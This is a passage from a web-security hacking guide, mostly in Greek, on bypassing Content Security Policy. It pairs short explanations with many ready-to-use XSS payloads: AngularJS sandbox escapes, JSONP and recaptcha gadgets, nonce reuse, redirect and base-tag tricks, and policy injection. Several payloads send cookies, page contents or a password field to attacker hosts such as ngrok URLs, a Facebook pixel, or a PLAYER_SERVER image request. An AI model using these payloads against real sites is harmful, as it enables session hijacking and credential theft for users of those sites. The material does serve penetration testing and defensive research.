Content Security Policy (CSP) Bypass

Reading time: 33 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το CSP

Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS). Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως eval, setTimeout ή setInterval.

Η εφαρμογή του CSP πραγματοποιείται μέσω κεφαλίδων απόκρισης ή με την ενσωμάτωση meta στοιχείων στη σελίδα HTML. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους όρους και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Υλοποιήθηκε μέσω του meta tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες:

  • Content-Security-Policy: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις.
  • Content-Security-Policy-Report-Only: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής.

Defining Resources

CSP περιορίζει τις προελεύσεις για τη φόρτωση τόσο ενεργού όσο και παθητικού περιεχομένου, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του eval(). Ένα παράδειγμα πολιτικής είναι:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Οδηγίες

  • script-src: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
  • default-src: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
  • child-src: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
  • connect-src: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
  • frame-src: Περιορίζει τα URLs για πλαίσια.
  • frame-ancestors: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως <frame>, <iframe>, <object>, <embed>, και <applet>.
  • img-src: Ορίζει επιτρεπόμενες πηγές για εικόνες.
  • font-src: Προσδιορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας @font-face.
  • manifest-src: Ορίζει επιτρεπόμενες πηγές αρχείων manifest εφαρμογής.
  • media-src: Ορίζει επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.
  • object-src: Ορίζει επιτρεπόμενες πηγές για στοιχεία <object>, <embed>, και <applet>.
  • base-uri: Προσδιορίζει επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας στοιχεία <base>.
  • form-action: Λίστα έγκυρων endpoints για υποβολές φορμών.
  • plugin-types: Περιορίζει τους mime τύπους που μπορεί να καλέσει μια σελίδα.
  • upgrade-insecure-requests: Δίνει οδηγίες στους περιηγητές να ξαναγράψουν τα HTTP URLs σε HTTPS.
  • sandbox: Εφαρμόζει περιορισμούς παρόμοιους με την ιδιότητα sandbox ενός <iframe>.
  • report-to: Προσδιορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
  • worker-src: Προσδιορίζει έγκυρες πηγές για Worker, SharedWorker ή ServiceWorker scripts.
  • prefetch-src: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προανακτηθούν.
  • navigate-to: Περιορίζει τα URLs στα οποία μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)

Πηγές

  • *: Επιτρέπει όλα τα URLs εκτός από αυτά με data:, blob:, filesystem: σχήματα.
  • 'self': Επιτρέπει τη φόρτωση από την ίδια τομέα.
  • 'data': Επιτρέπει την φόρτωση πόρων μέσω του σχήματος δεδομένων (π.χ., εικόνες κωδικοποιημένες σε Base64).
  • 'none': Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
  • 'unsafe-eval': Επιτρέπει τη χρήση του eval() και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
  • 'unsafe-hashes': Ενεργοποιεί συγκεκριμένους inline event handlers.
  • 'unsafe-inline': Επιτρέπει τη χρήση inline πόρων όπως inline <script> ή <style>, δεν συνιστάται για λόγους ασφαλείας.
  • 'nonce': Μια λευκή λίστα για συγκεκριμένα inline scripts χρησιμοποιώντας ένα κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).
  • Αν έχετε περιορισμένη εκτέλεση JS, είναι δυνατόν να αποκτήσετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με doc.defaultView.top.document.querySelector("[nonce]") και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές, οπότε αυτό δεν είναι απαραίτητο), όπως στο:
Φόρτωση script επαναχρησιμοποιώντας nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
  • 'strict-dynamic': Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκαστεί με nonce ή hash.
  • 'host': Προσδιορίζει μια συγκεκριμένη πηγή, όπως το example.com.
  • https:: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
  • blob:: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
  • filesystem:: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
  • 'report-sample': Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
  • 'strict-origin': Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
  • 'strict-origin-when-cross-origin': Στέλνει πλήρεις διευθύνσεις URL κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
  • 'unsafe-allow-redirects': Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.

Unsafe CSP Rules

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' μέσω Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Αυτό δεν λειτουργεί, για περισσότερες πληροφορίες ελέγξτε αυτό.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Λειτουργικό payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Αν μπορείτε με κάποιον τρόπο να κάνετε έναν επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η νέα ετικέτα script θα επιτρέπεται να εκτελείται.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Λειτουργικό payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Έλλειψη object-src και default-src

[!CAUTION] > Φαίνεται ότι αυτό δεν λειτουργεί πλέον

yaml
Content-Security-Policy: script-src 'self' ;

Λειτουργικά payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Αποστολή Αρχείου + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Αν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτήν την CSP:

Λειτουργικό payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής επικυρώνει το ανεβασμένο αρχείο και θα επιτρέψει μόνο να ανεβάσετε καθορισμένο τύπο αρχείων.

Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν κωδικό JS μέσα σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: script.png), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση και οι περιηγητές όπως ο Chrome θα απορρίψουν την εκτέλεση του κώδικα Javascript μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι ο Apache δεν γνωρίζει την .wave επέκταση, επομένως δεν την σερβίρει με έναν τύπο MIME όπως audio/*.

Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια παρερμηνευμένη επέκταση, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot (μερικά παραδείγματα polyglot εδώ).

Form-action

Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε ακόμα να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια εγχύοντας μια ενέργεια φόρμας (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα παράδειγμα σε αυτή την αναφορά. Επίσης, σημειώστε ότι το default-src δεν καλύπτει τις ενέργειες φόρμας.

Third Party Endpoints + ('unsafe-eval')

warning

Για μερικά από τα παρακάτω payload unsafe-eval δεν είναι καν απαραίτητο.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Φορτώστε μια ευάλωτη έκδοση του angular και εκτελέστε αυθαίρετο JS:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

note

Η ανάρτηση δείχνει ότι μπορείτε να φορτώσετε όλες τις βιβλιοθήκες από cdn.cloudflare.com (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη και να ελέγξετε ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS από ένα όνομα κλάσης:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Κατάχρηση του κώδικα JS του google recaptcha

Σύμφωνα με αυτή την αναφορά CTF, μπορείτε να καταχραστείτε https://www.google.com/recaptcha/ μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Περισσότερα payloads από αυτήν την αναφορά:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Κατάχρηση του www.google.com για ανοιχτή ανακατεύθυνση

Η παρακάτω διεύθυνση URL ανακατευθύνει στο example.com (από εδώ):

https://www.google.com/amp/s/example.com/

Κατάχρηση *.google.com/script.google.com

Είναι δυνατόν να καταχραστεί το Google Apps Script για να ληφθούν πληροφορίες σε μια σελίδα μέσα στο script.google.com. Όπως γίνεται σε αυτή την αναφορά.

Τρίτοι Σημειακοί Σταθμοί + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Σενάρια όπως αυτό όπου το script-src είναι ρυθμισμένο σε self και μια συγκεκριμένη τοποθεσία που έχει εγκριθεί μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Οι τελικές διευθύνσεις JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.

Η ίδια ευπάθεια θα συμβεί αν το έμπιστο endpoint περιέχει ένα Open Redirect γιατί αν το αρχικό endpoint είναι έμπιστο, οι ανακατευθύνσεις είναι έμπιστες.

Καταχρήσεις Τρίτων

Όπως περιγράφεται στην παρακάτω ανάρτηση, υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:

ΟντότηταΕπιτρεπόμενος ΤομέαςΔυνατότητες
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα.

Για παράδειγμα, αν βρείτε το παρακάτω CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

ή

Content-Security-Policy​: connect-src www.facebook.com;​

Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως γινόταν πάντα με Google Analytics/Google Tag Manager. Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:

  1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
  2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
  3. Μεταβείτε στις "Ρυθμίσεις -> Βασικές" και αποκτήστε το "App ID" σας.
  4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
  5. Μεταβείτε στον "Διαχειριστή Εκδηλώσεων" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Επιλέξτε την καρτέλα "Δοκιμαστικές Εκδηλώσεις" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.

Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Όσον αφορά τα άλλα επτά τρίτα μέρη που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τα εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη ανάρτηση στο blog για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.

Bypass via RPO (Relative Path Overwrite)

Εκτός από την προαναφερθείσα ανακατεύθυνση για την παράκαμψη περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) που μπορεί να χρησιμοποιηθεί σε ορισμένους διακομιστές.

Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή https://example.com/scripts/react/, μπορεί να παρακαμφθεί ως εξής:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Ο περιηγητής θα φορτώσει τελικά https://example.com/scripts/angular/angular.js.

Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα ..%2fangular%2fangular.js που βρίσκεται κάτω από https://example.com/scripts/react/, το οποίο είναι συμβατό με CSP.

∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά https://example.com/scripts/react/../angular/angular.js, το οποίο είναι ισοδύναμο με https://example.com/scripts/angular/angular.js.

Με την εκμετάλλευση αυτής της ασυνέπειας στην ερμηνεία URL μεταξύ του περιηγητή και του διακομιστή, οι κανόνες διαδρομής μπορούν να παρακαμφθούν.

Η λύση είναι να μην αντιμετωπίζεται το %2f ως / στην πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ του περιηγητή και του διακομιστή για να αποφευχθεί αυτό το ζήτημα.

Online Παράδειγμα: https://jsbin.com/werevijewa/edit?html,output

Εκτέλεση JS σε Iframes

Iframes in XSS, CSP and SOP

απουσία base-uri

Εάν η οδηγία base-uri λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια dangling markup injection.

Επιπλέον, εάν η σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή (όπως <script src="/js/app.js">) χρησιμοποιώντας ένα Nonce, μπορείτε να εκμεταλλευτείτε την ετικέτα base για να κάνετε να φορτώσει το σενάριο από τον δικό σας διακομιστή επιτυγχάνοντας XSS.
Εάν η ευάλωτη σελίδα φορτώνεται με httpS, χρησιμοποιήστε μια διεύθυνση httpS στη βάση.

html
<base href="https://www.attacker.com/" />

AngularJS events

Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο $event, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο $event μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο $event/event διαθέτει ένα χαρακτηριστικό path, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο window να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.

Κατευθύνοντας αυτόν τον πίνακα στο φίλτρο orderBy, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο window) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το alert(). Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας ng-focus για την ενεργοποίηση του γεγονότος, χρησιμοποιώντας $event.path|orderBy για να χειριστεί τον πίνακα path, και εκμεταλλευόμενο το αντικείμενο window για να εκτελέσει τη συνάρτηση alert(), αποκαλύπτοντας έτσι το document.cookie.

Βρείτε άλλες παρακάμψεις Angular στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS και το whitelist domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback συναρτήσεων και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό που είναι διαθέσιμος σε αυτό το git repository.

Λειτουργικά payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Άλλες τελείες εκτέλεσης JSONP μπορούν να βρεθούν εδώ (μερικές από αυτές διαγράφηκαν ή διορθώθηκαν)

Παράκαμψη μέσω Ανακατεύθυνσης

Τι συμβαίνει όταν το CSP συναντά ανακατεύθυνση από την πλευρά του διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.

Ωστόσο, σύμφωνα με την περιγραφή στο CSP spec 4.2.2.3. Paths and Redirects, εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.

Ακολουθεί ένα παράδειγμα:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Αν το CSP είναι ρυθμισμένο σε https://www.google.com/a/b/c/d, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts /test όσο και /a/test θα αποκλειστούν από το CSP.

Ωστόσο, το τελικό http://localhost:5555/301 θα ανακατευθυνθεί από την πλευρά του διακομιστή σε https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Δεδομένου ότι πρόκειται για ανακατεύθυνση, η διαδρομή δεν λαμβάνεται υπόψη, και το script μπορεί να φορτωθεί, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.

Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.

Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει ανοιχτές ευπάθειες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν τους κανόνες CSP.

Παράκαμψη CSP με κρεμασμένο markup

Διαβάστε πώς εδώ.

'unsafe-inline'; img-src *; μέσω XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε σενάριο μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και img-src * σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.

Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Από: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα. Αν για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να δημιουργήσετε μια ειδική εικόνα, να την ανεβάσετε στο Twitter και να εκμεταλλευτείτε το "unsafe-inline" για να εκτελέσετε έναν κώδικα JS (όπως μια κανονική XSS) που θα φορτώσει την εικόνα, θα εξάγει τον JS από αυτήν και θα τον εκτελέσει: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Με Service Workers

Η λειτουργία importScripts των service workers δεν περιορίζεται από το CSP:

Abusing Service Workers

Εισαγωγή Πολιτικής

Έρευνα: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Αν μια παράμετρος που στέλνετε επικολλάται μέσα στη δήλωση της πολιτικής, τότε μπορείτε να αλλάξετε την πολιτική με κάποιον τρόπο που την καθιστά άχρηστη. Μπορείτε να επιτρέψετε το script 'unsafe-inline' με οποιαδήποτε από αυτές τις παρακάμψεις:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Γιατί αυτή η οδηγία θα επικαλύψει τις υπάρχουσες οδηγίες script-src.
